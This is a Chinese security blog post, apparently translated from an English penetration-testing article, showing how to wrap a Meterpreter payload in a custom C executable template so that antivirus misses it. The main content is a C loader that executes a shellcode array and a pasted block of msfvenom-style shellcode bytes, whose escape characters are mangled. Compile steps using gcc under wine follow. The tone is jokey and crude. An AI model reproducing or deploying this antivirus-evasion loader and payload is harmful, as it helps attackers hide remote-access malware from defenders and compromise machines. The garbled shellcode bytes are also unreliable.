牛牛逼逼叉叉
菜单

那些年一起绕过的杀软

2014年02月11日,分类《网络安全》,作者:
博客捐助

小编以作者的身份来译文,澄清!小编并不是基佬!!

在实际的渗透测试中,你发现了一大堆充满各种漏洞的主机.此时你花了大量的时间来收集关于这些主机的信息和情报…下一步,你洗干净屁股,准备大干一场. ╮( ̄▽ ̄)╭ 跟普通的黑阔基佬一样,没错,本基喜欢用meterpreter 作为 payload。只因meterpreter提供好了许多好玩又方便的函数.  我和我的基友们已经撸开了Metasploit, 为目标准备好了小皮鞭与蜡烛(exploit ), 目送着我的payload上传到目标机子上,但悲剧的是:目标机器居然一点反应也没有,难道是性冷淡?!!

究竟发生了什么问题呢? 好吧,明显是很多地方都可能出现错误, 漏洞利用脚本的版本错误、 exp没有工作, 等等.  但是当你发现每个环节都没有出现错误时, 那最大的可能就是反病毒软件拦截了你的meterpreter payload啦。 本基就经常遇到过这种事——当我裤子已经脱了,上来的却是居委扫黄小组的大妈…(>﹏<)当经受过无数次大妈的蹂躏之后,本基决心研究绕过技术,现在把欺骗绕过杀毒软件技术公诸于众,让各位机油过上性福的生活..….

首先,我要感谢这两篇我本文引用的文章(连接请见下文). 这两篇文章给了我很大的启迪,本文一些源代码都是在这两篇文章中摘录,读者们可以自行研究这两篇文章,说不定会有更多的收获哟。

一个绕过杀毒软件的方法是:为meterpreter创建一个可执行的“定制”模板 . 你可以使用以下的代码来作为你这个模板的基础 (来吧,骚年!亮出你最拿手的编辑器,并创建文件“base.c”, 让我们哄哄烈烈地干一场吧):

// This should be random padding
unsigned char padding[]=
;
// Our Meterpreter code goes here
unsigned char payload[]=
;
// Push Meterpreter into memory
int main(void) { ((void (*)())payload)();}

当毛躁毛躁的代码创建完毕后, 第一件事情呢,就是要生成大随机数来填补我们文件的开头部分啦。我们生成大随机数的语句命令如下文所示。 你能简单地定制大随机数的长度,如下文的”-c 1028”,此时将生成一个1028位的大随机数。

我们的命令和输出看上去会像是下面这个样子:

bypass1

“Ctrl+C”、“Ctrl+V”这个大随机数进入我们的 base.c 文件里,这个大随机数粘贴的位置类似下文:

01// This should be random padding
 02unsigned char padding[]=
 03"F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F"
 04;
 05
 06// Our Meterpreter code goes here
 07unsigned char payload[]=
 08
 09;
 10
 11// Push Meterpreter into memory
 12int main(void) { ((void (*)())payload)();}

当随机数弄好之后,接下来就是我们的 meterpreter shellcode啦. 什么?你不会写?没关系!Msfvenom在手,shellcode 我有! 用本基下面的命令,再变换一下payload的名称,妈妈再也不用担心我的shellcode:

bypass2

当我们的 meterpreter shellcode创建完毕后, 再次像大随机数一样,复制粘贴进我们的base.c 文件里.当你完成之后,你的base.c文件看起来应该像下面的一样:

01 // This should be random padding
 02 unsigned char padding[]=
 03 "F9d9CxkqvLlodqpws5x4KoI3KoLdcLTae-0DMrcDZiscZi7Gmzug6g1n8L_W6pzPR-bGsm74TBHy3GDof6o-cMIAaiF5nEvEadpxl9p94w12fiLDreuEjLLhW2QXFbKBAIWOKXvMoiBGZHZY4Lyk24HTPuTonrTbf__hZ0G_q_5DVXfKU0s-muqroz-U6j-wDrX2CzKapy8o1Y5zGo0T3BozAuzwe7Q1A-R4JIWEU8LR-8MJrlF5ZthMo4M661VM8-6CY7duKz29tiPr5IEtpYXBVJyhHYCsPd5iVrNc3wzSVQ6jP9dht-znpNi4-wqWVjKng_3j5WjOlva3_jqLcqkMQ5NfrT7ipYlqxvqgYMUU8rvo9PS_DVkA3tM0W1T6BXLE7nmvZmxojfwfNKQEzzCn1-tYyqcd1z1UTnGEIoZp2sHY-kgofDDnHbNk-4-oMQdwuBt56oCWh7jcNwokcpte26FLJBX4C-yM46CJUlNFrgBg28776xxlTyC02Hs-YdkR-rJNvTt3OWOdCNt-1ocoj20QskIVdv2_XZgrTnxyIEOBBYrrmKHgBq4Qvd816iK1Ua2ZymTVRov1qJeiqvIoCr-hufUkQGjMCCGGSAjPacemgU3ztZZZJIPpB7Dc_zIpkSsaCr0kpDz9lFPn-Fn--cQh2l2gUIA8eiMHFeMLDh40da83tfThQqd_MsGb2OL2LmGCpV_QUdbFecP6-eI80sZG34j9Z3ur_6blZbu1f1qjME-bJKJ2ueT0arvydnnfzHIOt-vt26f0cBeE_11hUiTYmhtH9U4Mppe-eVMUJ5E3XU-Q-20-qCZZBWGV0kK4Lpxu8QGI_NrkRcS3CEantKhUkIaxxXWZRJvk0uEcB_YHerHjZT6Fw8_omY8O2BLT5sAg7f-MQm1P8RfTXYILiTbaqzxvg44y8zdEQpzPY4bgy3svNFVheIseFmOPKs-jL5eJkOlrkvniKFwCKatGKF8Aewli1sYmLP3HKVK8Voy-7b-j377x-SMQKUyByz9F"
 04 ;
 05
 06 // Our Meterpreter code goes here
 07 unsigned char payload[]=
 08 “xbaxd7x0cxb4xfaxd9xc1xd9x74x24xf4x58x2bxc9xb1″
 09 “x57x83xe8xfcx31x50x0ex03x87x02x56x0fxfdxcax4f”
 10“x84x25x19xd5x05x4ex2cx7cx9bxb9x67x30x73x88x22″
 11“x2bx77xbfxd4xc8xb2x5bx6cxf6xd2xd0x3ax54xb7xb6″
 12“x6axd0x10xc4xaex92xb7x9bxb4x9cx02x72xeaxfex1d”
 13“xb9x31xbfx3ex09xf5x69x25xcbx31x56x43x8bxecxfe”
 14“xd1xbfxadx50x7ex8fx9dx5fx13xb8xd6x4ax03xfcxb1″
 15“x89x08x6fxf9x35x3bx1axd3xf7xe5x50x13x0ax0bxc3″
 16“x87x34x9cx4cx4bxcfxbfx01x20x45x85x8ex82x1cx0c”
 17“xfax47xa6x03xefx16xbdxe9x99x87xa9xa9x75xf6x6d”
 18“x6cx43xa8xd9xd0x18xb4xd1x93x18xf1x3fx08xd0xe3″
 19“x7ax66x1ex90x70x90xc3x01x61xafxb4xc0x1exd8x6d”
 20“xb7x88xfax7bx2dx75x2fxeaxdax22x2fx26x7ax7cx4e”
 21“x0axb8x7axacx1bx74x17x3cx92x18x6dx67xb3x01xb1″
 22“x4ax43xe4x72xf8x15xf8x4bx4axfbx65xbbxf2x6fxe9″
 23“x9fx58x6bxcdx96x7bx80xa9xfexa6x2exf7xfaxf5x1d”
 24“xc5xd4x3dx73xe2xd2x94xcex85x35x62xc4xb9x1bx87″
 25“x20x46x16xa6xa4xc2x74xfcx5cxfbx83x8bx60x4axd1″
 26“x72x48xabxd7xd9x86x7fx2bxbbx06x74x54xf0xb6xb8″
 27“xa8x16x97xa2xbaxc3x79x6fxabxddx6fx3cx74x6cxf4″
 28“x9dxccx34x84xefx34x0cx78xc1xe9x2ex57xf6x73x9f”
 29“x12x58x6fx48xb5x04x45x13x86x3cxbbxabxcex8ax15″
 30“x07x65x73x0ex50xd1xa2x29x6bx46x3bx40x9cx56x1a”
 31 “xb6x8dx22x16x66x2fxa8x03xdcx58x48x91x44x18xd9″
 32 “x1dxb6x0fxfexcax7bx03xd1x94x54xba”
 33 ;
 34 // Push Meterpreter into memory
 35 int main(void) { ((void (*)())payload)();}

恭喜!你已经制作出了一个相当漂亮的模板了.  现在, 我们要干的只有编译它了. 我喜欢Backtrack里wine搭载的gcc.exe 编译程序.先切换目录到编译器所在的目录 ( /root/.wine/drive_c/MinGW/bin/gcc.exe), 通过wine调用编译器并且提供给他源代码和输出的路径, 如下图所示:

bypass3

再一次恭喜你. 现在,就让那一群扫黄的大妈们颤抖吧,你现在已经能过很多杀毒软件啦!但是…小编做实验的结果是…360过不了…QQ管家也过不了,就金山毒霸过了(掩面而泣啊)……

啊啊啊,果然这么简单的免杀是过不了的,但是你以为这是全部,NONONO!。

欲知后事如何,请关注后续文章:《好免杀,hyperion造

91ri.org:本文是团队新加入的小编翻译的,个人觉得翻译的很不错,虽然文章很口头化并且内容较”银弹”,不过个人很是喜欢。个人觉得无论是翻译或者原创都该写出自己的风格,好的文章必须具备的条件之一是:让人看得懂。而优秀的文章则是那种让人看的开心的又能让人从中学到东西的文章。

月巴小编此次不仅翻译出了原文的意思,更有自己的思路想法,更好的地方是译出了91ri的”银弹”风格。:)

原文LINK:https://www.christophertruncer.com/bypass-antivirus-with-meterpreter-as-the-payload-hyperion-fun

参考资料:http://www.whenisfive.com/2011/12/12/creating-custom-meterpreter-exe-templates-to-bypass-windows-av

http://e-spohn.com/blog/2012/08/02/pe-crypters-hyperion

本文由网络安全攻防研究室(91ri.org)原创翻译并实验、转载请注明出处!



发表评论

电子邮件地址不会被公开。 必填项已用*标注

【上一篇】

好免杀,hyperion造

【下一篇】

手机应用入侵日记(上)